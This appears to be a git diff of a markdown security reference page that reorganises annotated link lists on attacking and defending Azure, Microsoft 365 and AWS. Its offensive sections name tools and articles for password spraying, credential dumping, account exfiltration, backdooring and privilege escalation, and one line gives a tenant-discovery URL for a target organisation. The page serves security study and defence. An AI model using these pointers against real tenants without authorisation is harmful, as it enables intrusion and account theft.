[https://github.com/marcusbakker/KQL/blob/master/kql\_cheat\_sheet.pdf](https://github.com/marcusbakker/KQL/blob/master/kql\_cheat\_sheet.pdf) - * [https://azure.microsoft.com/en-us/blog/ml-powered-detections-with-kusto-query-language-in-azure-sentinel/](https://azure.microsoft.com/en-us/blog/ml-powered-detections-with-kusto-query-language-in-azure-sentinel/) - * [https://docs.microsoft.com/en-us/azure/data-explorer/kqlmagic](https://docs.microsoft.com/en-us/azure/data-explorer/kqlmagic) - -### Azure Defender - -* [Overview of Azure Defender and the available plans | Microsoft Docs](https://docs.microsoft.com/en-us/azure/security-center/azure-defender) -* [Azure Defender | Microsoft Azure](https://azure.microsoft.com/en-us/services/azure-defender/?cdn=disable) [Detecting Microsoft 365 and Azure Active Directory Backdoors | FireEye Inc](https://www.fireeye.com/blog/threat-research/2020/09/detecting-microsoft-365-azure-active-directory-backdoors.html) -* [Azure Security Basics: Log Analytics, Security Center, & Sentinel – Defensive Origins](https://defensiveorigins.com/azure-security-basics-log-analytics-security-center-sentinel/) -* [https://github.com/Azure/Microsoft-Defender-for-Cloud](https://github.com/Azure/Microsoft-Defender-for-Cloud) +* Find whether a target organization has Azure AD: + * `https://login.microsoftonline.com/getuserrealm.srf?login=username@.onmicrosoft.com&xml=1` +* [Azure Active Directory documentation](https://learn.microsoft.com/en-us/azure/active-directory/) +* [Attacking and Defending the Microsoft Cloud](https://adsecurity.org/wp-content/uploads/2019/08/2019-BlackHat-US-Metcalf-Morowczynski-AttackingAndDefendingTheMicrosoftCloud.pdf) +* [AzureAD-Attack-Defense](https://github.com/Cloud-Architekt/AzureAD-Attack-Defense) + +### Microsoft Sentinel and KQL + +Microsoft Sentinel was formerly named Azure Sentinel. Keep cloud SIEM architecture and logging under Security Logging; keep KQL references in Blue Defense. + +* [Microsoft Sentinel overview](https://learn.microsoft.com/en-us/azure/sentinel/overview) +* [Microsoft Sentinel service page](https://azure.microsoft.com/en-us/products/microsoft-sentinel/) +* [Microsoft Sentinel hunting queries](https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries) +* [Microsoft Sentinel notebooks](https://github.com/Azure/Azure-Sentinel-Notebooks) +* [Microsoft Sentinel To-Go](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/azure-sentinel-to-go-part1-a-lab-w-prerecorded-data-amp-a-custom/ba-p/1260191) +* [KQL quick reference](https://learn.microsoft.com/en-us/azure/data-explorer/kql-quick-reference) +* [KQL cheat sheet](https://github.com/marcusbakker/KQL/blob/master/kql_cheat_sheet.pdf) +* [Kqlmagic](https://learn.microsoft.com/en-us/azure/data-explorer/kqlmagic) +* [AzSentinel PowerShell module](https://www.powershellgallery.com/packages/AzSentinel) - Historical community module; verify current maintenance before building workflows around it. + +### Microsoft Defender for Cloud + +Azure Security Center and Azure Defender are now part of Microsoft Defender for Cloud. + +* [Microsoft Defender for Cloud overview](https://learn.microsoft.com/en-us/azure/defender-for-cloud/defender-for-cloud-introduction) +* [Microsoft Defender for Cloud repository](https://github.com/Azure/Microsoft-Defender-for-Cloud) +* [Azure security basics: Log Analytics, Security Center, and Sentinel](https://defensiveorigins.com/azure-security-basics-log-analytics-security-center-sentinel/) - Older naming, still useful as historical context. +* [Detecting Microsoft 365 and Azure Active Directory backdoors](https://www.mandiant.com/resources/blog/detecting-microsoft-365-azure-active-directory-backdoors) - FireEye/Mandiant research. ### Azure Pentesting Guides -* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md) - Huge collection of tools, commands, and methodology. -* [https://pentestbook.six2dez.com/enumeration/cloud/azure](https://pentestbook.six2dez.com/enumeration/cloud/azure) - Great personal gitbook with tools, commands and steps for enumerating and exploiting Azure. -* [https://github.com/LennonCMJ/pentest\_script/blob/master/Azure\_Testing.md](https://github.com/LennonCMJ/pentest\_script/blob/master/Azure\_Testing.md) - Guide and reference documents for testing Azure security. -* Attacking Azure AD - * [AZURE AD INTRODUCTION FOR RED TEAMERS](https://www.synacktiv.com/en/publications/azure-ad-introduction-for-red-teamers.html) - * [I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Directory](https://www.slideshare.net/DirkjanMollema/im-in-your-cloud-reading-everyones-email-hacking-azure-ad-via-active-directory) - * [Utilizing Azure Services for Red Team Engagements](https://blog.netspi.com/utiilzing-azure-for-red-team-engagements/) - * [Blue Cloud of Death: Red Teaming Azure](https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1) - * [Azure AD Connect for Red Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/) - * [Red Teaming Microsoft: Part 1 – Active Directory Leaks via Azure](https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/) - * [How to create a backdoor to Azure AD](https://o365blog.com/post/aadbackdoor/) - * [https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html](https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html) - * [Azurehound Cypher Cheatsheet](https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/) - * [Keys of the kingdom: Playing God as Global Admin](https://o365blog.com/post/admin/) - * [https://danielchronlund.com/2022/01/07/the-attackers-guide-to-azure-ad-conditional-access/](https://danielchronlund.com/2022/01/07/the-attackers-guide-to-azure-ad-conditional-access/) -* Check for open blobs - * [https://www.youtube.com/watch?v=AWhag2K3AS8](https://www.youtube.com/watch?v=AWhag2K3AS8) - * [https://xapax.github.io/security/#attacking\_cloud\_environment/attacking\_azure/check\_for\_blobs/](https://xapax.github.io/security/#attacking\_cloud\_environment/attacking\_azure/check\_for\_blobs/) -* Offensive Techniques - * [Abusing Azure AD SSO with the Primary Refresh Token](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/): Most corporate devices have Primary Refresh Tokens - long term tokens stored on your laptop or other AD connected resources - for Single Sign On (SSO) against on-prem and Azure AD connected resources. See Dirk-jan Mollema's blog goes over abusing these tokens, which you can access if you have code execution on a target or on your laptop that is Azure AD joined. - * [Attacking Azure Cloud Shell](https://blog.netspi.com/attacking-azure-cloud-shell/) by [Karl Fosaaen](https://twitter.com/kfosaaen): Leveraging Azure Cloud Shell storage files with subscription contributor permissions to perform cross-account command execution and privilege escalation. - * [Nuking all Azure Resource Groups under all Azure Subscriptions](https://kmcquade.com/2020/11/nuking-all-azure-resource-groups-under-all-azure-subscriptions/) by [Kinnaird McQuade(@kmcquade3)](https://twitter.com/kmcquade3): How to abuse Azure Resource hierarchy and tenant-wide god-mode Service Principals to nuke an entire Azure environment. - * [Privilege Escalation and Lateral Movement on Azure](https://medium.com/xm-cyber/privilege-escalation-and-lateral-movement-on-azure-part-1-47e128cfdc06) by [Hila Cohen (@hilaco10)](https://twitter.com/hilaco10): some techniques for how a red team can gain a foothold in an Azure environment, escalate their privileges, and move laterally inside Azure infrastructure by using the Azure RBAC module and common Azure misconfigurations. - * [Privilege Escalation in Azure AD](https://emptydc.com/2020/12/10/privilege-escalation-in-azure-ad/) by [Jan Geisbauer (@janvonkirchheim)](https://twitter.com/janvonkirchheim): a breakdown of how Azure security principals (aka Enterprise applications) vs application objects (aka application registrations) and their associated permissions can be abused to impersonate an application. - * [Privilege Escalation and Lateral Movement on Azure](https://medium.com/xm-cyber/privilege-escalation-and-lateral-movement-on-azure-part-1-47e128cfdc06): some techniques for how a red team can gain a foothold in an Azure environment, escalate their privileges, and move laterally inside Azure infrastructure by using the Azure RBAC module and common Azure misconfigurations. - * [https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48?gi=89b4a351f786](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48?gi=89b4a351f786) - * [https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html](https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html) - * [https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html](https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html) - * [https://www.inversecos.com/2021/09/backdooring-office-365-and-active.html](https://www.inversecos.com/2021/09/backdooring-office-365-and-active.html) - * [Office365 Attacks: Bypassing MFA, Achieving Persistence and More - Part I](https://www.inversecos.com/2021/09/office365-attacks-bypassing-mfa.html)\\ - * [Spoofing Microsoft 365 Like It’s 1995 - Black Hills Information Security](https://www.blackhillsinfosec.com/spoofing-microsoft-365-like-its-1995/) -* _Operator Handbook: Azure\_Exploit- pg. 44_ - -### Tools +* [PayloadsAllTheThings - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md) +* [Pentest Book - Azure](https://pentestbook.six2dez.com/enumeration/cloud/azure) +* [Azure Testing guide](https://github.com/LennonCMJ/pentest_script/blob/master/Azure_Testing.md) +* [Azure AD Introduction for Red Teamers](https://www.synacktiv.com/en/publications/azure-ad-introduction-for-red-teamers.html) +* [Hacking Azure AD via Active Directory](https://www.slideshare.net/DirkjanMollema/im-in-your-cloud-reading-everyones-email-hacking-azure-ad-via-active-directory) +* [Utilizing Azure Services for Red Team Engagements](https://blog.netspi.com/utiilzing-azure-for-red-team-engagements/) - Older article; URL typo is preserved by the source. +* [Blue Cloud of Death: Red Teaming Azure](https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1) +* [Azure AD Connect for Red Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/) +* [Red Teaming Microsoft: AD leaks via Azure](https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/) +* [How to create a backdoor to Azure AD](https://o365blog.com/post/aadbackdoor/) +* [AzureHound collection](https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html) + * [AzureHound Cypher Cheatsheet](https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/) +* [Keys of the Kingdom: Playing God as Global Admin](https://o365blog.com/post/admin/) +* [The Attacker's Guide to Azure AD Conditional Access](https://danielchronlund.com/2022/01/07/the-attackers-guide-to-azure-ad-conditional-access/) +* [Check for Azure blobs](https://xapax.github.io/security/#attacking_cloud_environment/attacking_azure/check_for_blobs/) + * [Video walkthrough](https://www.youtube.com/watch?v=AWhag2K3AS8) +* [Abusing Azure AD SSO with the Primary Refresh Token](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) +* [Attacking Azure Cloud Shell](https://blog.netspi.com/attacking-azure-cloud-shell/) +* [Nuking all Azure Resource Groups under all Azure Subscriptions](https://kmcquade.com/2020/11/nuking-all-azure-resource-groups-under-all-azure-subscriptions/) +* [Privilege Escalation and Lateral Movement on Azure](https://medium.com/xm-cyber/privilege-escalation-and-lateral-movement-on-azure-part-1-47e128cfdc06) +* [Privilege Escalation in Azure AD](https://emptydc.com/2020/12/10/privilege-escalation-in-azure-ad/) +* [Azure privilege escalation via Azure API permissions abuse](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48?gi=89b4a351f786) +* [Making clouds rain RCE in Office 365](https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html) +* [Backdooring Azure applications](https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html) +* [Backdooring Office 365 and Active Directory](https://www.inversecos.com/2021/09/backdooring-office-365-and-active.html) +* [Office 365 attacks: bypassing MFA and persistence](https://www.inversecos.com/2021/09/office365-attacks-bypassing-mfa.html) +* [Spoofing Microsoft 365 Like It's 1995](https://www.blackhillsinfosec.com/spoofing-microsoft-365-like-its-1995/) +* _Operator Handbook: Azure_Exploit - pg. 44_ + +### Azure and Microsoft 365 Tools #### Offensive -* Recon and Enumeration - * [BlobHunter](https://github.com/cyberark/BlobHunter) - An opensource tool for scanning Azure blob storage accounts for publicly opened blobs. - * [o365recon](https://github.com/nyxgeek/o365recon) - Script to retrieve information via O365 with a valid cred - * [Get-AzureADPSPermissionGrants.ps1](https://gist.github.com/psignoret/9d73b00b377002456b24fcb808265c23) **-** Lists delegated permission grants (OAuth2PermissionGrants) and application permissions grants (AppRoleAssignments) granted to an app. -* Exploitation frameworks - * [PowerZure](https://github.com/hausec/PowerZure) - PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance **and** exploitation of Azure, AzureAD, and the associated resources. - * [Attacking Azure, Azure AD, and Introducing PowerZure – root@Hausec](https://hausec.com/2020/01/31/attacking-azure-azure-ad-and-introducing-powerzure/) - * [https://www.youtube.com/watch?v=AWhag2K3AS8](https://www.youtube.com/watch?v=AWhag2K3AS8) - * [MicroBurst: A PowerShell Toolkit for Attacking Azure](https://github.com/NetSPI/MicroBurst) - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. - * [lava](https://github.com/mattrotlevi/lava) - Microsoft Azure Exploitation Framework - * [XMGoat](https://www.xmcyber.com/xmgoat-an-open-source-pentesting-tool-for-azure/) - An open source tool with the purpose of teaching penetration testers, red teamers, security consultants, and cloud experts how to abuse different misconfigurations within the Azure environment. In this way, you learn about common Azure security issues. -* Azure AD Exploitation tools - * [AADInternals](https://github.com/Gerenios/AADInternals) - AADInternals is PowerShell module for administering Azure AD and Office 365 - * [Stormspotter ](https://github.com/Azure/Stormspotter)- Azure Red Team tool for graphing Azure and Azure Active Directory objects - * [ROADtools](https://github.com/dirkjanm/ROADtools) - ROADtools is a framework to interact with Azure AD. - * [adconnectdump](https://github.com/fox-it/adconnectdump) - Azure AD Connect password extraction - * [TeamFiltration](https://github.com/Flangvik/TeamFiltration) - TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts -* For Password Spraying - * First check if the accounts is valid. [https://github.com/LMGsec/o365creeper](https://github.com/LMGsec/o365creeper) - * Perform password spraying attack: [MailSniper](https://github.com/dafthack/MailSniper) - MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.) - * [o365spray](https://github.com/0xZDH/o365spray) - o365spray ia a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365). - -#### Defensive - -* Logging and Alerting - * [Azure security logging and auditing](https://docs.microsoft.com/en-us/azure/security/fundamentals/log-audit): Azure provides a wide array of configurable security auditing and logging options to help you identify gaps in your security policies and mechanisms. - * [Azure Security Center - Alerts Reference Guide](https://docs.microsoft.com/en-us/azure/security-center/alerts-reference): This article lists the security alerts you might get from Azure Security Center and any Azure Defender plans you've enabled. -* Security Auditing and Hardening - * [CRT](https://github.com/CrowdStrike/CRT) - Crowdstrike Reporting Tool for Azure: This tool queries the following configurations in the Azure AD/O365 tenant which can shed light on hard-to-find permissions and configuration settings in order to assist organizations in securing these environments. - * [AzureADRecon](https://github.com/adrecon/AzureADRecon) - AzureADRecon is a tool which gathers information about the Azure Active Directory and generates a report which can provide a holistic picture of the current state of the target environment. - * [ROADTools](https://github.com/dirkjanm/ROADtools) - ROADtools is a framework to interact with Azure AD. It currently consists of a library (roadlib) and the ROADrecon Azure AD exploration tool. - * [azucar](https://github.com/nccgroup/azucar) - Security auditing tool for Azure environments - * [AzureADAssessment](https://github.com/AzureAD/AzureADAssessment) - Tooling for assessing an Azure AD tenant state and configuration -* DFIR - * [AzureHunter](https://github.com/darkquasar/AzureHunter) - A Cloud Forensics Powershell module to run threat hunting playbooks on data from Azure and O365 - * [https://www.kitploit.com/2021/11/azurehunter-cloud-forensics-powershell.html?m=1](https://www.kitploit.com/2021/11/azurehunter-cloud-forensics-powershell.html?m=1) - * [https://azurehunter.readthedocs.io/](https://azurehunter.readthedocs.io/) - * [Sparrow](https://github.com/cisagov/Sparrow) - Sparrow.ps1 was created by CISA's Cloud Forensics team to help detect possible compromised accounts and applications in the Azure/m365 environment. - * [hawk](https://github.com/T0pCyber/hawk) - Powershell Based tool for gathering information related to O365 intrusions and potential Breaches - * [https://cloudforensicator.com/](https://cloudforensicator.com/) - * [DFIR-O365RC](https://github.com/ANSSI-FR/DFIR-O365RC) - The DFIR-O365RC PowerShell module is a set of functions that allow the DFIR analyst to collect logs relevant for Office 365 Business Email Compromise investigations. - * [Azure-AD-Incident-Response-PowerShell-Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) - The Azure Active Directory Incident Response PowerShell module provides a number of tools, developed by the Azure Active Directory Product Group in conjunction with the Microsoft Detection and Response Team (DART), to assist in compromise response. - * [https://www.powershellgallery.com/packages/AzureADIncidentResponse/](https://www.powershellgallery.com/packages/AzureADIncidentResponse/) - -## **AWS -** Amazon Cloud Services - -### Basics - -* Learn AWS - * [https://github.com/jassics/security-study-plan/blob/main/aws-security-study-plan.md](https://github.com/jassics/security-study-plan/blob/main/aws-security-study-plan.md) -* Reference Docs - * [https://docs.aws.amazon.com/](https://docs.aws.amazon.com/) - * [https://github.com/awsdocs](https://github.com/awsdocs) - * [https://ip-ranges.amazonaws.com/ip-ranges.json](https://ip-ranges.amazonaws.com/ip-ranges.json) - AWS IP Ranges - * [amazon-ec2-user-guide](https://github.com/toniblyx/amazon-ec2-user-guide) - The open source version of the Amazon EC2 User Guide for Linux. - * [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework) (PDF, HTML) - * [https://github.com/aws-samples/aws-security-reference-architecture-examples](https://github.com/aws-samples/aws-security-reference-architecture-examples) -* Best practices and hardening - * [https://www.cloudconformity.com/knowledge-base/aws/](https://www.cloudconformity.com/knowledge-base/aws/) - AWS Best Pratices - * [https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-cis.html](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-cis.html) -* Misc Articles - * [https://expel.io/blog/finding-evil-in-aws/](https://expel.io/blog/finding-evil-in-aws/) - * [https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/](https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/) -* _Operator Handbook: AWS Terms- pg. 35_ +* [BlobHunter](https://github.com/cyberark/BlobHunter) - Scans Azure blob storage accounts for public blobs. +* [o365recon](https://github.com/nyxgeek/o365recon) - Retrieves O365 information with valid credentials. +* [Get-AzureADPSPermissionGrants.ps1](https://gist.github.com/psignoret/9d73b00b377002456b24fcb808265c23) - Lists delegated and application permission grants. +* [PowerZure](https://github.com/hausec/PowerZure) - Azure and Azure AD assessment and exploitation framework. + * [Introducing PowerZure](https://hausec.com/2020/01/31/attacking-azure-azure-ad-and-introducing-powerzure/) +* [MicroBurst](https://github.com/NetSPI/MicroBurst) - Azure discovery, auditing, and post-exploitation PowerShell toolkit. +* [lava](https://github.com/mattrotlevi/lava) - Microsoft Azure exploitation framework. +* [XMGoat](https://www.xmcyber.com/xmgoat-an-open-source-pentesting-tool-for-azure/) - Azure misconfiguration lab. +* [AADInternals](https://github.com/Gerenios/AADInternals) - Azure AD and Microsoft 365 administration and assessment module. +* [Stormspotter](https://github.com/Azure/Stormspotter) - Graphs Azure and Azure AD objects for red-team analysis. +* [ROADtools](https://github.com/dirkjanm/ROADtools) - Azure AD framework including ROADrecon. +* [adconnectdump](https://github.com/fox-it/adconnectdump) - Azure AD Connect password extraction. +* [TeamFiltration](https://github.com/Flangvik/TeamFiltration) - Enumerates, sprays, exfiltrates, and backdoors O365/AAD accounts. +* Microsoft 365 password spraying belongs with Password Attacks: + +{% content-ref url="red-offensive/testing-methodology/password-attacks.md" %} +[password-attacks.md](red-offensive/testing-methodology/password-attacks.md) +{% endcontent-ref %} + +#### Defensive and DFIR + +* [CRT](https://github.com/CrowdStrike/CRT) - CrowdStrike Reporting Tool for Azure. +* [AzureADRecon](https://github.com/adrecon/AzureADRecon) - Azure AD tenant reporting. +* [azucar](https://github.com/nccgroup/azucar) - Security auditing tool for Azure environments. +* [AzureADAssessment](https://github.com/AzureAD/AzureADAssessment) - Azure AD tenant assessment tooling. +* [AzureHunter](https://github.com/darkquasar/AzureHunter) - Azure and O365 threat hunting playbooks. + * [AzureHunter documentation](https://azurehunter.readthedocs.io/) +* [Sparrow](https://github.com/cisagov/Sparrow) - CISA cloud forensics tool for M365/Azure account and application compromise. +* [Hawk](https://github.com/T0pCyber/hawk) - PowerShell collection tool for O365 intrusion investigation. + * [Cloud Forensicator](https://cloudforensicator.com/) +* [DFIR-O365RC](https://github.com/ANSSI-FR/DFIR-O365RC) - Collects Microsoft 365 logs for Business Email Compromise investigations. +* [Azure AD Incident Response PowerShell Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) + * [PowerShell Gallery package](https://www.powershellgallery.com/packages/AzureADIncidentResponse/) + +## AWS - Amazon Web Services + +### Basics + +* [AWS security study plan](https://github.com/jassics/security-study-plan/blob/main/aws-security-study-plan.md) +* [AWS documentation](https://docs.aws.amazon.com/) +* [AWS documentation GitHub organization](https://github.com/awsdocs) +* [AWS IP ranges JSON](https://ip-ranges.amazonaws.com/ip-ranges.json) +* [amazon-ec2-user-guide](https://github.com/toniblyx/amazon-ec2-user-guide) +* [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework) +* [AWS Security Reference Architecture examples](https://github.com/aws-samples/aws-security-reference-architecture-examples) +* [AWS Security Hub CIS standards](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-cis.html) +* [Finding evil in AWS](https://expel.io/blog/finding-evil-in-aws/) +* [Generating AWS security signals from CloudTrail](https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/) +* _Operator Handbook: AWS Terms - pg. 35_ ### AWS CLI -* [https://aws.amazon.com/cli/](https://aws.amazon.com/cli/) -* [https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html) -* [https://github.com/eon01/AWS-CheatSheet](https://github.com/eon01/AWS-CheatSheet) +* [AWS CLI](https://aws.amazon.com/cli/) +* [AWS CLI getting started](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html) +* [AWS CheatSheet](https://github.com/eon01/AWS-CheatSheet) * _Operator Handbook: AWS CLI - pg. 20_ ### AWS Pentesting Guides -* [https://aws.amazon.com/security/penetration-testing/](https://aws.amazon.com/security/penetration-testing/) -* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md) -* [AWS IAM explained for Red and Blue teams | by Security Shenanigans](https://medium.com/bugbountywriteup/aws-iam-explained-for-red-and-blue-teams-2dda8b20fbf7) -* [Penetration Testing Amazon Web Services (AWS) - Rhino Security Labs](https://rhinosecuritylabs.com/penetration-testing/penetration-testing-aws-storage/) -* [AWS Penetration Testing Part 1. S3 Buckets - Virtue Security](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) -* [AWS Penetration Testing Part 2. S3, IAM, EC2 - Virtue Security](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) -* [https://pentestbook.six2dez.com/enumeration/cloud/aws](https://pentestbook.six2dez.com/enumeration/cloud/aws) -* [https://www.getastra.com/blog/security-audit/aws-penetration-testing/](https://www.getastra.com/blog/security-audit/aws-penetration-testing/) -* _Operator Handbook: AWS Tips and tricks- pg. 20_ +* [AWS Customer Support Policy for Penetration Testing](https://aws.amazon.com/security/penetration-testing/) +* [PayloadsAllTheThings - AWS Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md) +* [AWS IAM explained for Red and Blue teams](https://medium.com/bugbountywriteup/aws-iam-explained-for-red-and-blue-teams-2dda8b20fbf7) +* [AWS S3 penetration testing](https://rhinosecuritylabs.com/penetration-testing/penetration-testing-aws-storage/) - Rhino Security Labs. +* [AWS Penetration Testing Part 1: S3 Buckets](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) +* [AWS Penetration Testing Part 2: S3, IAM, EC2](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) +* [Pentest Book - AWS](https://pentestbook.six2dez.com/enumeration/cloud/aws) +* [AWS penetration testing guide](https://www.getastra.com/blog/security-audit/aws-penetration-testing/) +* _Operator Handbook: AWS Tips and Tricks - pg. 20_ * _The Hacker Playbook 3: Cloud Recon and Enumeration - pg. 37_ -### AWS Services and their Attack Surfaces - -| AWS Service | Attack Surface | -| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| EC2 | EC2 does in fact have a public attack surface similar to traditional physical infrastructure. Vulnerabilities that affect the OS will manifest exactly as they would on their hardware based counterpart. Things start to differ when you deal with anything that interacts with the local network or system. A vulnerability allowing command execution may allow an attacker to move laterally if configured with STS. Access tokens may also be stolen with SSRF vulnerabilities by reaching out to metadata IP addresses. More information: [EC2 Pentesting in Depth](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) | -| S3 | S3 requires careful consideration for bucket-level and object-level permissions. The S3 bucket itself can grant permissions to ‘Everyone’ or ‘Authenticated Users’. The ‘Authenticated Users’ permissions will grant access to _all AWS users_. Because of this a pentester must check both anonymous permissions as well as semi-public permissions with their own access tokens. More information: [S3 Pentesting in Depth](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) | -| ELB/ALB | Did you know an ELB can introduce HTTP Request Smuggling? This commonly overlooked configuration can allow attackers to inject requests into other user’s sessions. | -| SNS/SQS | Misconfigured topics or queues can allow unauthorized users to subscribe to topics or push messages to queues. Testing of this can be done with the AWS CLI. | -| RDS/Aurora/Redshift | Databases on AWS are relatively straightforward, although a penetration test should check for databases configured with public access. | -| EBS | EBS volumes can be made publicly available. The AWS CLI can be used to verify if EBS snapshots are publicly accessible. | -| Cognito Authentication | An AWS pentest should determine if the Cognito configuration is appropriate for intended application behavior. This includes checking for self-signups, and enabling advanced security. | - -### Tools - -#### Offensive Tools - -* Enumeration and scanning - * [Bucket\_finder](https://digi.ninja/projects/bucket\_finder.php) - Tool for finding and exploiting Amazon buckets. - * [https://digi.ninja/blog/whats\_in\_amazons\_buckets.php](https://digi.ninja/blog/whats\_in\_amazons\_buckets.php) - * [bucket-stream](https://github.com/eth0izzle/bucket-stream) - Find interesting Amazon S3 Buckets by watching certificate transparency logs. - * [S3Scanner](https://github.com/sa7mon/S3Scanner) - Scan for open S3 buckets and dump the contents -* Offensive Frameworks - * [PACU](https://github.com/RhinoSecurityLabs/pacu) - Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments. - * [https://github.com/RhinoSecurityLabs/pacu/wiki/](https://github.com/RhinoSecurityLabs/pacu/wiki/) - * [https://www.kali.org/tools/pacu/](https://www.kali.org/tools/pacu/) - * [https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/) - * _Operator Handbook: Pacu- pg. 31_ - * [Nimbostratus](https://github.com/andresriancho/nimbostratus) - Tools for fingerprinting and exploiting Amazon cloud infrastructures. - * _Operator Handbook: Nimbostratus - pg. 30_ - * [weirdAAL](https://github.com/carnal0wnage/weirdAAL) - WeirdAAL (AWS Attack Library) - * [https://github.com/carnal0wnage/weirdAAL/wiki](https://github.com/carnal0wnage/weirdAAL/wiki) - -#### Defensive tools - -* [Arsenal of AWS Tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) - Tool collection of cloud security researcher Toni de la Fuente - * [aws-security-toolbox](https://github.com/toniblyx/aws-security-toolbox) - The above toolkit but in a portable docker container - * [aws-forensic-tools](https://github.com/toniblyx/aws-forensic-tools) - Forensic toolkit made by the same researcher -* Security Assessment and Hardening - * [Cloudsplaining](https://github.com/salesforce/cloudsplaining) - Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report. - * [https://cloudsplaining.readthedocs.io/en/latest/](https://cloudsplaining.readthedocs.io/en/latest/) - * [Prowler](https://github.com/toniblyx/prowler) - Prowler is a security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - * [cloudsploit](https://github.com/aquasecurity/cloudsploit) - Cloud Security Posture Management (CSPM) - * [cloudmapper](https://github.com/duo-labs/cloudmapper) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments. - * [cloudtracker](https://github.com/duo-labs/cloudtracker) - CloudTracker helps you find over-privileged IAM users and roles by comparing CloudTrail logs with current IAM policies. - * [aws-recon](https://github.com/darkbitio/aws-recon) - Multi-threaded AWS inventory collection tool with a focus on security-relevant resources and metadata. - * [review-security-groups](https://github.com/MrSecure/review-security-groups) - A small set of scripts to summarize AWS Security Groups, and generate visualizations of the rules. - * [cloudtrail2sightings](https://github.com/zmallen/cloudtrail2sightings) - Convert cloudtrail data to MITRE ATT\&CK Sightings -* DFIR - * [aws\_ir](https://github.com/ThreatResponse/aws\_ir) - Python installable command line utility for mitigation of host and key compromises. - * [acquire-aws-ec2](https://github.com/telekom-security/acquire-aws-ec2) - Handy script for capturing EC2 instances in IR scenarios - * [https://www.chrisfarris.com/post/aws-ir/](https://www.chrisfarris.com/post/aws-ir/) - Incident Response in AWS -* Threat Hunting - * [https://github.com/schwartz1375/aws](https://github.com/schwartz1375/aws) - Repo for threat hunting in AWS. +### AWS Services and Attack Surfaces 